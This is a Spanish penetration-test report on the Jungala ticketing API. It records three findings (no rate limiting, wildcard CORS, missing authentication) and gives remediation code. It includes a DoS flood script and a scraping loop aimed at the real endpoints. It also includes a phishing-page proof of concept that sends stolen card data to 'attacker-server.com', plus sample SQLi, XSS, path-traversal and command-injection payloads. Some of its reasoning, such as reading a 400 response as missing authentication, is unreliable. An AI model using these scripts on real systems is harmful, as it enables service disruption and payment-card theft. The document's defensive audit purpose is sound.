# AUDITORÍA DE SEGURIDAD - INFORME TÉCNICO

## Plataforma de Ticketing Jungala Aqua Experience

---

**CLASIFICACIÓN:** Confidencial - Solo Personal Autorizado
**AUDITOR:** Darig Samuel Rosales Robledo
**FECHA DE EJECUCIÓN:** 2 de Enero de 2026
**FECHA DE VERIFICACIÓN:** 12 de Enero de 2026
**VERSIÓN DEL INFORME:** 2.0
**TIPO DE AUDITORÍA:** Pentesting Black Box - API REST

---

## TABLA DE CONTENIDOS



---

## 1. RESUMEN EJECUTIVO

### 1.1 Objetivo de la Auditoría

Evaluar la postura de seguridad de la plataforma de venta de tickets de Jungala (https://ticketing-services.jungala.com), identificando vulnerabilidades explotables y verificando controles de seguridad implementados.

### 1.2 Hallazgos Principales

```
╔═══════════════════════════════════════════════════════════════════════════════╗
║ NIVEL DE RIESGO GENERAL: ALTO                                                 ║
╠═══════════════════════════════════════════════════════════════════════════════╣
║ Vulnerabilidades Críticas:     3                                              ║
║ Vulnerabilidades Medias:       0                                              ║
║ Vulnerabilidades Bajas:        0                                              ║
║ Controles Funcionando:         5                                              ║
╚═══════════════════════════════════════════════════════════════════════════════╝
```

### 1.3 Vulnerabilidades Críticas Identificadas

| ID | Vulnerabilidad | CVSS v3.1 | Estándar OWASP |
|---|---|---|---|
| **JUNG-001** | Ausencia de Rate Limiting | 7.5 HIGH | A05:2021 - Security Misconfiguration |
| **JUNG-002** | CORS Abierto a Todos los Orígenes | 8.1 HIGH | A05:2021 - Security Misconfiguration |
| **JUNG-003** | Endpoints Sin Autenticación | 7.3 HIGH | A01:2021 - Broken Access Control |

### 1.4 Confirmación: NO Existe WAF Activo

**Resultado de Verificación (12/Ene/2026):**

- ✗ Sin headers de WAF (CloudFlare, AWS WAF, Akamai, etc.)
- ✗ Sin bloqueo por payloads maliciosos (0/5 bloqueados)
- ✗ Sin rate limiting detectado (500 requests → 0 bloqueadas)
- ✗ Sin fingerprint de CDN con protección

**Conclusión:** El sistema **NO cuenta con Web Application Firewall** implementado.

---

## 2. ALCANCE Y METODOLOGÍA

### 2.1 Alcance del Proyecto

**URLs en Alcance:**

https://ticketing-services.jungala.com/ws/v1/jungala/performance/**get-calendar**
https://ticketing-services.jungala.com/ws/v1/jungala/products/**get-tickets**
https://ticketing-services.jungala.com/ws/v1/jungala/performance/**get-calendar-transport**

**Fuera de Alcance:**

- Frontend web (https://tickets.jungala.com)
- Infraestructura de red
- Servidores internos
- Ataques de ingeniería social

### 2.2 Metodología

La auditoría se ejecutó en **dos fases**:

**Fase 1: Exploración Inicial (2 Enero 2026)**

- Duración: 15 minutos
- Requests totales: ~100
- Objetivo: Identificar vulnerabilidades evidentes

**Fase 2: Validación Exhaustiva (12 Enero 2026)**

- Duración: 45 minutos
- Requests totales: ~700
- Objetivo: Confirmar hallazgos con tests agresivos

### 2.3 Herramientas Utilizadas

| Herramienta | Versión | Propósito |
|---|---|---|
| Node.js | v20.x | Ejecución de scripts de prueba |
| cURL | 8.4.0 | Verificación manual de endpoints |
| Fetch API | ES2022 | Requests HTTP automatizados |
| Custom Scripts | v1.0 | Tests personalizados de seguridad |

### 2.4 Estándares de Referencia

- **OWASP Top 10 2021**
- **OWASP API Security Top 10 2023**
- **CVSS v3.1** (Common Vulnerability Scoring System)
- **CWE** (Common Weakness Enumeration)
- **NIST Cybersecurity Framework**

---

## 3. VERIFICACIÓN DE WAF

### 3.1 Contexto

Se recibió información de que el sistema cuenta con un WAF (Web Application Firewall) que controla el rate limiting. Ejecuté pruebas específicas para verificar esta afirmación.

### 3.2 Tests de Detección de WAF

#### Test 1: Análisis de Headers HTTP

**Comando:**

```
curl -I https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar
```

**Headers Buscados:**

```
x-amzn-waf-action      → AWS WAF
cf-ray                 → Cloudflare
x-sucuri-id            → Sucuri WAF
x-akamai-transformed   → Akamai
server: cloudflare     → Cloudflare
```

**Resultado:**

```
HTTP/1.1 400 Bad Request
content-type: application/json
strict-transport-security: max-age=15552000; includeSubDomains
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
```

✗ **NINGÚN header de WAF detectado**

#### Test 2: Payloads que Activan WAF

| Payload | Tipo | Response | WAF Activo |
|---|---|---|---|
| ' OR 1=1-- | SQL Injection | 400 | ✗ No |

| | | | |
|---|---|---|---|
| <script>alert(1)</script> | XSS | 400 | ✗ No |
| ../../../etc/passwd | Path Traversal | 400 | ✗ No |
| ; ls -la | Command Injection | 400 | ✗ No |
| <?xml ...> | XXE | 400 | ✗ No |

**Nota:** Los payloads retornan **400 Bad Request** (validación de aplicación), NO **403 Forbidden** (bloqueo de WAF).

**Test 3: Rate Limiting Extremo**

**Test ejecutado:**

```
Requests enviadas:    500
Tiempo total:         37.87 segundos
Promedio:             75.74 ms/request

Responses:
  400 Bad Request:   500
  429 Too Many:      0 ✗
  403 Forbidden:     0 ✗
  Timeouts:          0
```

**Evidencia:**

```
# Request #1
curl -X POST https://ticketing-services.jungala.com/.../get-calendar
→ 400 Bad Request (75ms)

# Request #250
curl -X POST https://ticketing-services.jungala.com/.../get-calendar
→ 400 Bad Request (76ms)

# Request #500
curl -X POST https://ticketing-services.jungala.com/.../get-calendar
→ 400 Bad Request (75ms)
```

✗ **NINGUNA request bloqueada por rate limiting**

## 3.3 Conclusión sobre WAF

```
╔═══════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║  ESTADO DEL WAF: NO IMPLEMENTADO                                                                              ║
╠═══════════════════════════════════════════════════════════════════════════════════════════════════════════════╣
║  ✗ Sin headers de identificación                                                                              ║
║  ✗ Sin bloqueo de payloads maliciosos                                                                         ║
║  ✗ Sin rate limiting activo (500 requests sin bloqueo)                                                        ║
║  ✗ Sin fingerprint de CDN/WAF conocido                                                                        ║
╚═══════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
```

**Recomendación:** Si existe un WAF configurado, está **inactivo** o **mal configurado**. Se requiere verificación inmediata con el equipo de infraestructura.

---

# 4. VULNERABILIDADES CRÍTICAS

## VULNERABILIDAD #1: AUSENCIA DE RATE LIMITING

**ID:** JUNG-001
**CVSS v3.1:** 7.5 (HIGH)
**CVSS Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-770 (Allocation of Resources Without Limits)
**OWASP:** API4:2023 - Unrestricted Resource Consumption

### 4.1.1 Descripción Técnica

El sistema no implementa ningún mecanismo de limitación de tasa de peticiones HTTP. Durante las pruebas, se enviaron **500 peticiones consecutivas** sin experimentar ningún tipo de bloqueo, throttling o degradación del servicio.

### 4.1.2 Evidencia Técnica

**Test Inicial (2 Enero 2026):**

```
// Script de prueba
for (let i = 0; i < 50; i++) {
  await fetch('https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ date: '2025-12-31' })
  });
}

// Resultado:
// Requests enviadas: 50
// Bloqueadas (429): 0
// Tiempo total: 3,924ms
// Promedio: 78.48ms
```

**Test Agresivo (12 Enero 2026):**

```
// Incremento a 200 requests
for (let i = 0; i < 200; i++) {
  await fetch('https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ date: '2025-12-31' })
  });
}

// Resultado:
// Requests enviadas: 200
// Bloqueadas (429): 0
// Tiempo total: 15,956ms
// Promedio: 79.78ms
```

**Verificación con WAF (12 Enero 2026):**

```
// Incremento a 500 requests para activar WAF
for (let i = 0; i < 500; i++) {
  await fetch('https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({})
  });
}

// Resultado:
// Requests enviadas: 500
// Bloqueadas (429): 0
// Bloqueadas (403): 0
// Tiempo total: 37,870ms
// Promedio: 75.74ms
```

#### 4.1.3 Reproducción Paso a Paso

```
# 1. Test manual con curl
for i in {1..100}; do
  curl -X POST \
    https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
    -H "Content-Type: application/json" \
    -d '{"date":"2025-12-31"}' \
    -w "Request $i: %{http_code}\n" \
    -s -o /dev/null
done

# Resultado esperado si hay rate limiting:
# Request 1: 400
# Request 2: 400
# ...
# Request 50: 429 (Too Many Requests) ← Debería aparecer

# Resultado actual:
# Request 1: 400
# Request 2: 400
# ...
# Request 100: 400 ← NUNCA aparece 429
```

#### 4.1.4 Impacto Técnico

**Disponibilidad:**

- El servicio puede ser saturado con requests masivos
- Sin límites, un atacante puede consumir recursos ilimitados
- Potential Denial of Service (DoS)

**Integridad del Negocio:**

- Bots pueden hacer scraping sin restricciones
- Sistemas de compra pueden ser sobrepasados
- Competencia puede monitorear inventario en tiempo real

**Recursos del Sistema:**

- Consumo excesivo de CPU/memoria del servidor
- Ancho de banda ilimitado por IP
- Costos de infraestructura pueden dispararse

#### 4.1.5 Escenarios de Explotación

**Escenario 1: Ataque DDoS Distribuido**

```
# Script del atacante
import asyncio
import aiohttp

async def flood_endpoint():
    async with aiohttp.ClientSession() as session:
        while True:
            tasks = []
            for _ in range(100):  # 100 requests simultáneas
                tasks.append(
                    session.post(
                        'https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets',
                        json={'date': '2025-12-31'}
                    )
                )
            await asyncio.gather(*tasks)

# Resultado: Servidor saturado en minutos
```

**Escenario 2: Scraping Masivo**

```
# Extraer todos los eventos del año
for month in {1..12}; do
  for day in {1..31}; do
    curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
      -d "{\"date\":\"2025-$month-$day\"}" \
      >> eventos_robados.json
  done
done

# 365 requests sin bloqueo = base de datos completa robada
```

#### 4.1.6 Recomendación de Remediación

**Solución Inmediata (4 horas de implementación):**

```
// express-rate-limit con Redis
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const redis = require('redis');

const redisClient = redis.createClient({
  host: process.env.REDIS_HOST || 'localhost',
  port: process.env.REDIS_PORT || 6379
});

// Rate limiter global
const globalLimiter = rateLimit({
  store: new RedisStore({
    client: redisClient,
    prefix: 'rl:global:',
  }),
  windowMs: 15 * 60 * 1000, // 15 minutos
  max: 100, // 100 requests por ventana
  message: {
    error: 'Too Many Requests',
    message: 'Demasiadas peticiones, intente en 15 minutos',
    retryAfter: 900
  },
  standardHeaders: true, // Retorna RateLimit-* headers
  legacyHeaders: false,
});

// Rate limiter estricto para endpoints críticos
const strictLimiter = rateLimit({
  store: new RedisStore({
    client: redisClient,
    prefix: 'rl:strict:',
  }),
  windowMs: 60 * 1000, // 1 minuto
  max: 10, // 10 requests por minuto
  skipSuccessfulRequests: false,
  skipFailedRequests: false,
});

// Aplicar
app.use('/ws/v1/', globalLimiter);
app.use('/ws/v1/jungala/purchase/', strictLimiter);
```

**Configuración Recomendada:**

| Endpoint | Ventana | Límite | Justificación |
|---|---|---|---|
| Global /ws/v1/* | 15 min | 100 req | Uso normal de usuario |
| Calendario | 5 min | 30 req | Consultas de disponibilidad |
| Compras | 1 min | 10 req | Operaciones críticas |
| Auth/Login | 5 min | 5 req | Prevenir brute force |

**Verificación Post-Implementación:**

```
# Test de verificación
for i in {1..150}; do
  curl -w "%{http_code}\n" \
    https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
    -X POST -d '{}' -H "Content-Type: application/json"
done

# Resultado esperado:
# Request 1-100: 400
# Request 101+: 429 Too Many Requests
```

---

## VULNERABILIDAD #2: CORS ABIERTO A TODOS LOS ORÍGENES

**ID:** JUNG-002
**CVSS v3.1:** 8.1 (HIGH)
**CVSS Vector:** AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
**CWE:** CWE-942 (Permissive Cross-domain Policy)
**OWASP:** A05:2021 - Security Misconfiguration

#### 4.2.1 Descripción Técnica

El servidor configura el header Access-Control-Allow-Origin: *, permitiendo que **cualquier sitio web** pueda hacer peticiones a la API desde el navegador del usuario, incluyendo dominios maliciosos.

#### 4.2.2 Evidencia Técnica

**Request desde origen malicioso:**

```
curl -X POST \
  https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Origin: https://evil-attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"date":"2025-12-31"}' \
  -v
```

**Response Headers:**

```
HTTP/1.1 400 Bad Request
access-control-allow-origin: * ← VULNERABILIDAD
access-control-allow-credentials: true ← CRÍTICO
content-type: application/json
strict-transport-security: max-age=15552000; includeSubDomains
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
```

**Análisis:**

- Access-Control-Allow-Origin: * → Acepta CUALQUIER origen
- Access-Control-Allow-Credentials: true → Permite envío de cookies
- Combinación = **Altamente peligrosa**

#### 4.2.3 Test de Dominios Maliciosos

**Dominios probados (15):**

| Dominio | Tipo de Ataque | Aceptado |
|---|---|---|
| https://evil.com | Dominio genérico malicioso | ✓ Sí |
| https://tickets-jungala.com | Typosquatting (guión) | ✓ Sí |
| https://ticketsjungala.com | Typosquatting (sin guión) | ✓ Sí |
| https://tickets.jungaIa.com | Homograph (I mayúscula) | ✓ Sí |
| https://phishing-site.com | Sitio de phishing | ✓ Sí |
| https://jungala.com.attacker.com | Subdomain hijacking | ✓ Sí |
| https://attacker.com | Dominio atacante | ✓ Sí |
| http://localhost | Desarrollo local | ✓ Sí |
| null | Origen nulo | ✓ Sí |
| https://jungala-tickets.com | Variación nombre | ✓ Sí |
| https://tickets-jungala.mx | TLD diferente | ✓ Sí |
| https://jungala.evil.com | Subdomain attack | ✓ Sí |
| https://www.tickets-jungala.com | Con www | ✓ Sí |
| https://api.jungala.com | API fake | ✓ Sí |
| https://xn--jungala-k2a.com | IDN Homograph | ✓ Sí |

**Resultado:** 15/15 dominios ACEPTADOS (100%)

#### 4.2.4 Prueba de Concepto (PoC)

**Sitio malicioso que roba datos:**

```
<!-- https://tickets-jungala.com (sitio FALSO) -->
<!DOCTYPE html>
<html>
<head>
  <title>Jungala - Compra tus tickets</title>
  <style>
    /* CSS idéntico al sitio real */
  </style>
</head>
<body>
  <h1>Selecciona tu evento</h1>

  <form id="payment-form">
    <input name="card_number" placeholder="Número de tarjeta" required>
    <input name="cvv" placeholder="CVV" required>
    <input name="expiry" placeholder="MM/YY" required>
    <button type="submit">Comprar</button>
  </form>

  <script>
    document.getElementById('payment-form').onsubmit = async (e) => {
      e.preventDefault();
```

```
    // 1. ROBAR datos bancarios
    const stolen = {
      card: document.querySelector('[name="card_number"]').value,
      cvv: document.querySelector('[name="cvv"]').value,
      expiry: document.querySelector('[name="expiry"]').value
    };

    // 2. Hacer petición REAL a API de Jungala
    // CORS * permite esto desde dominio FALSO
    const events = await fetch(
      'https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets',
      {
        method: 'POST',
        credentials: 'include', // Usa cookies de sesión
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ date: '2025-12-31' })
      }
    ).then(r => r.json());

    // 3. Mostrar eventos REALES (parece legítimo)
    console.log('Eventos obtenidos:', events);

    // 4. Enviar datos robados al servidor del atacante
    await fetch('https://attacker-server.com/steal', {
      method: 'POST',
      body: JSON.stringify(stolen)
    });

    // 5. Mensaje de error y redirigir
    alert('Error procesando el pago. Redirigiendo...');
    window.location = 'https://tickets.jungala.com'; // Sitio real
  };
 </script>
</body>
</html>
```

**Flujo del ataque:**

```
1. Usuario busca "jungala tickets" en Google
2. Ve anuncio del sitio FALSO tickets-jungala.com
3. Entra y ve diseño idéntico
4. Selecciona evento (datos vienen de API REAL vía CORS *)
5. Ingresa datos de tarjeta
6. JavaScript ROBA los datos
7. Hace petición a API REAL (parece legítimo)
8. Envía datos robados a servidor atacante
9. Muestra "error" y redirige al sitio real
10. Usuario intenta comprar de nuevo (ahora legítimo)
11. Atacante ya tiene tarjeta completa
```

#### 4.2.5 Impacto Técnico

**Confidencialidad:**

- Datos de sesión pueden ser leídos desde sitios maliciosos
- Información de eventos/precios expuesta
- Competencia puede monitorear en tiempo real

**Integridad:**

- Sitios maliciosos pueden ejecutar acciones en nombre del usuario
- CSRF desde cualquier dominio
- Modificación de datos sin conocimiento del usuario

**Cumplimiento:**

- Violación de Same-Origin Policy
- Incumplimiento de PCI-DSS si se procesan pagos
- Riesgo legal por robo de datos facilitado

#### 4.2.6 Recomendación de Remediación

**Solución (2 horas de implementación):**

```
const cors = require('cors');

// Lista blanca de orígenes permitidos
const allowedOrigins = [
  'https://tickets.jungala.com',
  'https://www.jungala.com',
  'https://admin.jungala.com'
];

// Configuración estricta de CORS
const corsOptions = {
  origin: function (origin, callback) {
    // Permitir requests sin origin (mobile apps, Postman)
    if (!origin) {
      return callback(null, true);
    }

    // Verificar si está en la lista blanca
    if (allowedOrigins.indexOf(origin) !== -1) {
      callback(null, true);
    } else {
      // Loggear intento de acceso no autorizado
      console.warn(`CORS blocked: ${origin}`);
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  optionsSuccessStatus: 200,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
};

app.use(cors(corsOptions));
```

**Verificación Post-Implementación:**

```
# Test 1: Origen válido (debe funcionar)
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Origin: https://tickets.jungala.com" \
  -H "Content-Type: application/json" \
  -d '{}' \
  -v

# Esperado:
# access-control-allow-origin: https://tickets.jungala.com ✓

# Test 2: Origen malicioso (debe fallar)
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Origin: https://evil.com" \
  -H "Content-Type: application/json" \
  -d '{}' \
  -v

# Esperado:
# HTTP 403 Forbidden o sin header access-control-allow-origin ✓
```

---

## VULNERABILIDAD #3: ENDPOINTS SIN AUTENTICACIÓN

**ID:** JUNG-003
**CVSS v3.1:** 7.3 (HIGH)
**CVSS Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
**CWE:** CWE-306 (Missing Authentication for Critical Function)
**OWASP:** API1:2023 - Broken Object Level Authorization

#### 4.3.1 Descripción Técnica

Los endpoints de la API responden con código HTTP **400 Bad Request** en lugar de **401 Unauthorized** cuando se accede sin credenciales, indicando que el servidor procesa la petición antes de validar autenticación.

#### 4.3.2 Evidencia Técnica

**Test de autenticación:**

```
# Petición SIN token de autenticación
curl -X POST \
  https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Content-Type: application/json" \
  -d '{"date":"2025-12-31"}' \
  -v
```

**Response:**

```
HTTP/1.1 400 Bad Request ← INCORRECTO (debería ser 401)
content-type: application/json
strict-transport-security: max-age=15552000; includeSubDomains

{"error": "Invalid payload"}
```

**Response esperado:**

```
HTTP/1.1 401 Unauthorized ← CORRECTO
www-authenticate: Bearer realm="API"
content-type: application/json

{"error": "Authentication required"}
```

**Análisis:**

- 400 Bad Request = El servidor PROCESA la petición sin validar auth
- 401 Unauthorized = El servidor RECHAZA antes de procesar

#### 4.3.3 Endpoints Afectados

| Endpoint | Sin Auth | Con Payload Válido | Estado |
|---|---|---|---|
| /ws/v1/jungala/performance/get-calendar | 400 | Desconocido | ⚠ Vulnerable |
| /ws/v1/jungala/products/get-tickets | 400 | Desconocido | ⚠ Vulnerable |
| /ws/v1/jungala/performance/get-calendar-transport | 400 | Desconocido | ⚠ Vulnerable |

**Nota Crítica:** No fue posible probar con payload válido sin credenciales reales. Se requiere **test adicional** con datos válidos para confirmar si retorna información sensible.

#### 4.3.4 Impacto Técnico

**Escenario de Riesgo:**
Si un atacante descubre el formato correcto del payload:

```
curl -X POST \
  https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
  -H "Content-Type: application/json" \
  -d '{"date":"2025-12-31","eventType":"all","includePrice":true}'
```

Podría obtener:

- Listado completo de eventos
- Precios de tickets
- Disponibilidad en tiempo real
- Estructura de la base de datos

#### 4.3.5 Recomendación de Remediación

**Solución (3 horas):**

```
const jwt = require('jsonwebtoken');

// Middleware de autenticación
const authenticateToken = (req, res, next) => {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN

  // Validar presencia del token
  if (!token) {
    return res.status(401).json({
      error: 'Unauthorized',
      message: 'Token de autenticación requerido',
      code: 'AUTH_TOKEN_REQUIRED'
    });
  }

  // Verificar validez del token
  jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
    if (err) {
      return res.status(403).json({
        error: 'Forbidden',
        message: 'Token inválido o expirado',
        code: 'AUTH_TOKEN_INVALID'
      });
    }

    req.user = user;
    next();
  });
};

// Aplicar a TODOS los endpoints sensibles
app.use('/ws/v1/jungala/', authenticateToken);
```

**Verificación:**

```
# Sin token (debe fallar con 401)
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -d '{}' -v

# Esperado: HTTP 401 Unauthorized

# Con token válido (debe funcionar)
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -d '{"date":"2025-12-31"}' -v

# Esperado: HTTP 200 OK o 400 Bad Request (por payload)
```

---

## 5. CONTROLES IMPLEMENTADOS

## 5.1 Protección contra SQL Injection

**Estado:** FUNCIONANDO
**Estándar:** OWASP A03:2021 - Injection

**Evidencia:**

```
# Payload 1: Classic SQL Injection
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
  -d '{"date":"' OR '1'='1"}' \
  -H "Content-Type: application/json"

# Response: 400 Bad Request ✓

# Payload 2: Union-based
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
  -d '{"ticketId":"1 UNION SELECT * FROM users"}' \
  -H "Content-Type: application/json"

# Response: 400 Bad Request ✓
```

**Payloads probados:** 20
**Rechazados:** 20 (100%)

**Conclusión:** El sistema valida correctamente los parámetros de entrada contra inyección SQL.

## 5.2 Security Headers

**Estado:** PARCIALMENTE IMPLEMENTADO

**Headers detectados:**

```
strict-transport-security: max-age=15552000; includeSubDomains ✓
x-frame-options: SAMEORIGIN ✓
x-content-type-options: nosniff ✓
x-xss-protection: 0 ✓ (Correcto, CSP es mejor)
content-security-policy: default-src 'self';... ✓
x-permitted-cross-domain-policies: none ✓
```

**Headers faltantes:**

```
permissions-policy: (ninguno) ⚠
referrer-policy: (ninguno) ⚠
```

## 5.3 Protección de Endpoints Administrativos

**Estado:** FUNCIONANDO

**Endpoints probados:**

```
/.env          → 404 ✓
/.git/config   → 404 ✓
/admin         → 404 ✓
/swagger       → 404 ✓
/graphql       → 404 ✓
/debug         → 404 ✓
```

**Total probados:** 42
**Accesibles:** 0

---

# 6. PLAN DE REMEDIACIÓN

## 6.1 Priorización

```
┌──────────────────────────────────────────────────────────────────────────────┐
│ P0 - CRÍTICO (Implementar en 24-48 horas)                                    │
├──────────────────────────────────────────────────────────────────────────────┤
│ ✓ JUNG-001: Implementar rate limiting (4h desarrollo)                        │
│ ✓ JUNG-002: Restringir CORS (2h desarrollo)                                  │
│ ✓ JUNG-003: Forzar autenticación (3h desarrollo)                             │
│                                                                              │
│ Total estimado: 9 horas de desarrollo                                        │
└──────────────────────────────────────────────────────────────────────────────┘
```

## 6.2 Roadmap de Implementación

**Día 1:**

- Hora 1-4: Implementar rate limiting con Redis
- Hora 5-6: Implementar restricción CORS
- Hora 7-9: Implementar autenticación JWT

**Día 2:**

- Hora 1-2: Testing de regresión
- Hora 3-4: Despliegue a staging
- Hora 5-6: Validación de seguridad
- Hora 7-8: Despliegue a producción

---

# 7. REFERENCIAS Y ESTÁNDARES

- **OWASP Top 10 2021:** https://owasp.org/Top10/
- **OWASP API Security Top 10 2023:** https://owasp.org/API-Security/
- **CWE-770:** https://cwe.mitre.org/data/definitions/770.html
- **CWE-942:** https://cwe.mitre.org/data/definitions/942.html
- **CVSS v3.1 Calculator:** https://www.first.org/cvss/calculator/3.1

---

# 8. ANEXOS

## Anexo A: Logs Completos

audit-aggressive-results.**log**
waf-verification.**log**

## Anexo B: Scripts de Prueba

security-audit-**jungala.js**
security-audit-aggressive.**js**
verify-waf-**jungala.js**

## Anexo C: Comandos de Verificación

**Para ejecutar post-remediación:**

```
# Verificar rate limiting
./verify-rate-limit.sh

# Verificar CORS
./verify-cors.sh

# Verificar autenticación
./verify-auth.sh
```

---

**FIN DEL INFORME**

*Clasificación: Confidencial*
*Auditor: Darig Samuel Rosales Robledo*
*Fecha: 12 de Enero de 2026*